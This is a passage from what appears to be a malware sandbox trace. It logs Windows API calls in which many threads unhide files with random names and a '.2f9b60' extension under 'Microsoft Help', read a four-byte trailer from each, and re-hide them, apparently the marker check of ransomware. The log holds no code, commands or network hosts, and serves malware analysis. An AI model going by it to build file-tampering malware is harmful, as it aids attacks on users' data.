BaseAddress=0x1b868f40) returned 1 Thread: id = 1335 os_tid = 0x10a8 [0117.861] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\6669c23e4f8feb72395e.2f9b60")) returned 0x2022 [0117.862] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60", dwFileAttributes=0x20) returned 1 [0117.915] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\6669c23e4f8feb72395e.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe60 [0117.915] GetFileSizeEx (in: hFile=0xe60, lpFileSize=0x3c9af920 | out: lpFileSize=0x3c9af920*=608) returned 1 [0117.915] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x25c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.915] ReadFile (in: hFile=0xe60, lpBuffer=0x3c9af8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c9af8e8, lpOverlapped=0x0 | out: lpBuffer=0x3c9af8a0*, lpNumberOfBytesRead=0x3c9af8e8*=0x4, lpOverlapped=0x0) returned 1 [0117.916] FlushFileBuffers (hFile=0xe60) returned 1 [0117.921] CloseHandle (hObject=0xe60) returned 1 [0117.921] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\6669c23e4f8feb72395e.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.945] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bf70) returned 1 Thread: id = 1336 os_tid = 0x10b8 [0117.864] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\75a93dbd1140b85d800d0ced9a.2f9b60")) returned 0x2022 [0117.864] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60", dwFileAttributes=0x20) returned 1 [0117.917] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\75a93dbd1140b85d800d0ced9a.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc [0117.917] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x3cb1fe00 | out: lpFileSize=0x3cb1fe00*=656) returned 1 [0117.917] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x28c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.917] ReadFile (in: hFile=0x15cc, lpBuffer=0x3cb1fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cb1fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3cb1fd80*, lpNumberOfBytesRead=0x3cb1fdc8*=0x4, lpOverlapped=0x0) returned 1 [0117.918] FlushFileBuffers (hFile=0x15cc) returned 1 [0117.924] CloseHandle (hObject=0x15cc) returned 1 [0117.924] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c000) returned 1 Thread: id = 1337 os_tid = 0xafc [0117.866] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\76affb4614c7504eb2da2b76e8.2f9b60")) returned 0x2022 [0117.866] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60", dwFileAttributes=0x20) returned 1 [0117.919] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\76affb4614c7504eb2da2b76e8.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe34 [0117.919] GetFileSizeEx (in: hFile=0xe34, lpFileSize=0x3cc0fce0 | out: lpFileSize=0x3cc0fce0*=656) returned 1 [0117.919] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x28c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.919] ReadFile (in: hFile=0xe34, lpBuffer=0x3cc0fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cc0fca8, lpOverlapped=0x0 | out: lpBuffer=0x3cc0fc60*, lpNumberOfBytesRead=0x3cc0fca8*=0x4, lpOverlapped=0x0) returned 1 [0117.920] FlushFileBuffers (hFile=0xe34) returned 1 [0117.927] CloseHandle (hObject=0xe34) returned 1 [0117.927] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c090) returned 1 Thread: id = 1338 os_tid = 0x7e8 [0117.867] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\78b79bdfebb0e7103e83216.2f9b60")) returned 0x2022 [0117.868] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60", dwFileAttributes=0x20) returned 1 [0117.922] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\78b79bdfebb0e7103e83216.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe2c [0117.922] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x3cd9f7c0 | out: lpFileSize=0x3cd9f7c0*=632) returned 1 [0117.922] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.922] ReadFile (in: hFile=0xe2c, lpBuffer=0x3cd9f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cd9f788, lpOverlapped=0x0 | out: lpBuffer=0x3cd9f740*, lpNumberOfBytesRead=0x3cd9f788*=0x4, lpOverlapped=0x0) returned 1 [0117.923] FlushFileBuffers (hFile=0xe2c) returned 1 [0117.930] CloseHandle (hObject=0xe2c) returned 1 [0117.930] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c120) returned 1 Thread: id = 1339 os_tid = 0x774 [0117.869] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\7dbf13fa9dd7318566c6b246edc.2f9b60")) returned 0x2022 [0117.869] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60", dwFileAttributes=0x20) returned 1 [0117.925] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\7dbf13fa9dd7318566c6b246edc.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1790 [0117.925] GetFileSizeEx (in: hFile=0x1790, lpFileSize=0x3c85f700 | out: lpFileSize=0x3c85f700*=664) returned 1 [0117.925] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.925] ReadFile (in: hFile=0x1790, lpBuffer=0x3c85f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c85f6c8, lpOverlapped=0x0 | out: lpBuffer=0x3c85f680*, lpNumberOfBytesRead=0x3c85f6c8*=0x4, lpOverlapped=0x0) returned 1 [0117.926] FlushFileBuffers (hFile=0x1790) returned 1 [0117.932] CloseHandle (hObject=0x1790) returned 1 [0117.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b550) returned 1 Thread: id = 1340 os_tid = 0x7ec [0117.870] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\90e9aca79f93d1b843eac5.2f9b60")) returned 0x2022 [0117.870] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60", dwFileAttributes=0x20) returned 1 [0117.928] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\90e9aca79f93d1b843eac5.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe48 [0117.928] GetFileSizeEx (in: hFile=0xe48, lpFileSize=0x3cc9fc00 | out: lpFileSize=0x3cc9fc00*=624) returned 1 [0117.928] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x26c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.928] ReadFile (in: hFile=0xe48, lpBuffer=0x3cc9fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cc9fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3cc9fb80*, lpNumberOfBytesRead=0x3cc9fbc8*=0x4, lpOverlapped=0x0) returned 1 [0117.929] FlushFileBuffers (hFile=0xe48) returned 1 [0117.936] CloseHandle (hObject=0xe48) returned 1 [0117.936] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c1b0) returned 1 Thread: id = 1341 os_tid = 0x48c [0117.872] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\962dfa6fd54cd63925bf2e.2f9b60")) returned 0x2022 [0117.872] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60", dwFileAttributes=0x20) returned 1 [0117.930] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\962dfa6fd54cd63925bf2e.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a0 [0117.930] GetFileSizeEx (in: hFile=0x17a0, lpFileSize=0x3ce7fb20 | out: lpFileSize=0x3ce7fb20*=624) returned 1 [0117.930] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x26c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.930] ReadFile (in: hFile=0x17a0, lpBuffer=0x3ce7faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ce7fae8, lpOverlapped=0x0 | out: lpBuffer=0x3ce7faa0*, lpNumberOfBytesRead=0x3ce7fae8*=0x4, lpOverlapped=0x0) returned 1 [0117.931] FlushFileBuffers (hFile=0x17a0) returned 1 [0117.951] CloseHandle (hObject=0x17a0) returned 1 [0117.951] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\962dfa6fd54cd63925bf2e.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d380) returned 1 Thread: id = 1342 os_tid = 0x8c4 [0118.181] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\9693ed7440ede296b38fd0b.2f9b60")) returned 0x2022 [0118.181] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60", dwFileAttributes=0x20) returned 1 [0118.216] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\9693ed7440ede296b38fd0b.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1604 [0118.217] GetFileSizeEx (in: hFile=0x1604, lpFileSize=0x3cf3fe40 | out: lpFileSize=0x3cf3fe40*=632) returned 1 [0118.217] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.217] ReadFile (in: hFile=0x1604, lpBuffer=0x3cf3fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cf3fe08, lpOverlapped=0x0 | out: lpBuffer=0x3cf3fdc0*, lpNumberOfBytesRead=0x3cf3fe08*=0x4, lpOverlapped=0x0) returned 1 [0118.218] FlushFileBuffers (hFile=0x1604) returned 1 [0118.229] CloseHandle (hObject=0x1604) returned 1 [0118.229] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\9693ed7440ede296b38fd0b.2f9b60", dwFileAttributes=0x2022) returned 1 [0118.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d890) returned 1 Thread: id = 1343 os_tid = 0xac8 [0118.184] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\a6b9559973.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\a6b9559973.2f9b60")) returned 0x2022 [0118.184] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\a6b9559973.2f9b60", dwFileAttributes=0x20) returned 1 [0118.220] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\a6b9559973.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\a6b9559973.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x167c [0118.220] GetFileSizeEx (in: hFile=0x167c, lpFileSize=0x3d03fbe0 | out: lpFileSize=0x3d03fbe0*=8930) returned 1 [0118.220] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x22de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.220] ReadFile (in: hFile=0x167c, lpBuffer=0x3d03fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d03fba8, lpOverlapped=0x0 | out: lpBuffer=0x3d03fb60*, lpNumberOfBytesRead=0x3d03fba8*=0x4, lpOverlapped=0x0) returned 1 [0118.221] FlushFileBuffers (hFile=0x167c) returned 1 [0118.241] CloseHandle (hObject=0x167c) returned 1 [0118.241] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\a6b9559973.2f9b60", dwFileAttributes=0x2022) returned 1 [0118.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86f050) returned 1 Thread: id = 1344 os_tid = 0x290 [0118.186] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\abb492c18558145bba922.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\abb492c18558145bba922.2f9b60")) returned 0x2022 [0118.186] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\abb492c18558145bba922.2f9b60", dwFileAttributes=0x20) returned 1 [0118.227] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\abb492c18558145bba922.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\abb492c18558145bba922.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1778 [0118.227] GetFileSizeEx (in: hFile=0x1778, lpFileSize=0x3d1cf700 | out: lpFileSize=0x3d1cf700*=616) returned 1 [0118.227] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.227] ReadFile (in: hFile=0x1778, lpBuffer=0x3d1cf680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d1cf6c8, lpOverlapped=0x0 | out: lpBuffer=0x3d1cf680*, lpNumberOfBytesRead=0x3d1cf6c8*=0x4, lpOverlapped=0x0) returned 1 [0118.228] FlushFileBuffers (hFile=0x1778) returned 1 [0118.245] CloseHandle (hObject=0x1778) returned 1 [0118.245] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\abb492c18558145bba922.2f9b60", dwFileAttributes=0x2022) returned 1 [0118.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783ef0) returned 1 Thread: id = 1345 os_tid = 0xc40 [0118.188] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\ada3ddd10bd38e70c22db4.2f9b60")) returned 0x2022 [0118.188] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60", dwFileAttributes=0x20) returned 1 [0118.230] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\ada3ddd10bd38e70c22db4.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0118.230] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x3d2df780 | out: lpFileSize=0x3d2df780*=624) returned 1 [0118.230] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x26c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.230] ReadFile (in: hFile=0x14c0, lpBuffer=0x3d2df700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d2df748, lpOverlapped=0x0 | out: lpBuffer=0x3d2df700*, lpNumberOfBytesRead=0x3d2df748*=0x4, lpOverlapped=0x0) returned 1 [0118.231] FlushFileBuffers (hFile=0x14c0) returned 1 [0118.245] CloseHandle (hObject=0x14c0) returned 1 [0118.245] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\ada3ddd10bd38e70c22db4.2f9b60", dwFileAttributes=0x2022) returned 1 [0118.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae0b0) returned 1 Thread: id = 1346 os_tid = 0xdec [0118.197] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\af8d70004cb9ddeb995ab245.2f9b60")) returned 0x2022 [0118.197] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60", dwFileAttributes=0x20) returned 1 [0118.242] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\af8d70004cb9ddeb995ab245.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe48 [0118.242] GetFileSizeEx (in: hFile=0xe48, lpFileSize=0x3d25f7c0 | out: lpFileSize=0x3d25f7c0*=640) returned 1 [0118.242] SetFilePointerEx (in: hFile=0xe48, liDistanceToMove=0x27c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.242] ReadFile (in: hFile=0xe48, lpBuffer=0x3d25f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d25f788, lpOverlapped=0x0 | out: lpBuffer=0x3d25f740*, lpNumberOfBytesRead=0x3d25f788*=0x4, lpOverlapped=0x0) returned 1 [0118.243] FlushFileBuffers (hFile=0xe48) returned 1 [0118.281] CloseHandle (hObject=0xe48) returned 1 [0118.281] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60", dwFileAttributes=0x2022) returned 1 [0118.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae140) returned 1 Thread: id = 1347 os_tid = 0xe10 [0118.200] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b1c70549e5645e571401.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\b1c70549e5645e571401.2f9b60")) returned 0x2022 [0118.201] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b1c70549e5645e571401.2f9b60", dwFileAttributes=0x20) returned 1 [0118.281] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b1c70549e5645e571401.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\b1c70549e5645e571401.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x167c [0118.282] GetFileSizeEx (in: hFile=0x167c, lpFileSize=0x3d3cf760 | out: lpFileSize=0x3d3cf760*=608) returned 1 [0118.282] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x25c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.282] ReadFile (in: hFile=0x167c, lpBuffer=0x3d3cf6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d3cf728, lpOverlapped=0x0 | out: lpBuffer=0x3d3cf6e0*, lpNumberOfBytesRead=0x3d3cf728*=0x4, lpOverlapped=0x0) returned 1 [0118.283] FlushFileBuffers (hFile=0x167c) returned 1 [0118.302] CloseHandle (hObject=0x167c) returned 1 [0118.302] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b1c70549e5645e571401.2f9b60", dwFileAttributes=0x2022) returned 1 [0118.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae1d0) returned 1 Thread: id = 1348 os_tid = 0xec8 [0118.208] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\b21d939de6bf7b680c44.2f9b60")) returned 0x2022 [0118.209] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60", dwFileAttributes=0x20) returned 1 [0118.285] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\b21d939de6bf7b680c44.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1604 [0118.285] GetFileSizeEx (in: hFile=0x1604, lpFileSize=0x3d12f880 | out: lpFileSize=0x3d12f880*=608) returned 1 [0118.285] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x25c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.285] ReadFile (in: hFile=0x1604, lpBuffer=0x3d12f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d12f848, lpOverlapped=0x0 | out: lpBuffer=0x3d12f800*, lpNumberOfBytesRead=0x3d12f848*=0x4, lpOverlapped=0x0) returned 1 [0118.286] FlushFileBuffers (hFile=0x1604) returned 1 [0118.303] CloseHandle (hObject=0x1604) returned 1 [0118.303] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\b21d939de6bf7b680c44.2f9b60", dwFileAttributes=0x2022) returned 1 [0118.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae260) returned 1 Thread: id = 1349 os_tid = 0x314 [0118.288] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\efd7ad4b114b8f99df215d.2f9b60")) returned 0x2022 [0118.288] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60", dwFileAttributes=0x20) returned 1 [0124.087] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\efd7ad4b114b8f99df215d.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x110c [0124.088] GetFileSizeEx (in: hFile=0x110c, lpFileSize=0x3db0f9a0 | out: lpFileSize=0x3db0f9a0*=624) returned 1 [0124.088] SetFilePointerEx (in: hFile=0x110c, liDistanceToMove=0x26c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.088] ReadFile (in: hFile=0x110c, lpBuffer=0x3db0f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3db0f968, lpOverlapped=0x0 | out: lpBuffer=0x3db0f920*, lpNumberOfBytesRead=0x3db0f968*=0x4, lpOverlapped=0x0) returned 1 [0124.089] FlushFileBuffers (hFile=0x110c) returned 1 [0124.168] CloseHandle (hObject=0x110c) returned 1 [0124.168] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\efd7ad4b114b8f99df215d.2f9b60", dwFileAttributes=0x2022) returned 1 [0124.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae650) returned 1 Thread: id = 1350 os_tid = 0xc48 [0118.290] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\e977c68e8cef4c31e34afd9f06.2f9b60")) returned 0x2022 [0118.290] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60", dwFileAttributes=0x20) returned 1 [0124.090] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\e977c68e8cef4c31e34afd9f06.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\e977c68e8cef4c31e34afd9f06.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x172c [0124.091] GetFileSizeEx (in: hFile=0x172c, lpFileSize=0x3b6df6e0 | out: lpFileSize=0x3b6df6e0*=656) returned 1 [0124.091] SetFilePointerEx (in: hFile=0x172c, liDistanceToMove=0x28c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.091] ReadFile (in: hFile=0x172c, lpBuffer=0x3b6df660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b6df6a8, lpOverlapped=0x0 | out: lpBuffer=0x3b6df660*, lpNumberOfBytesRead=0x3b6df6a8*=0x4, lpOverlapped=0x0) returned 1 [0124.092] FlushFileBuffers (hFile=0x172c) returned 1 [0124.210] CloseHandle 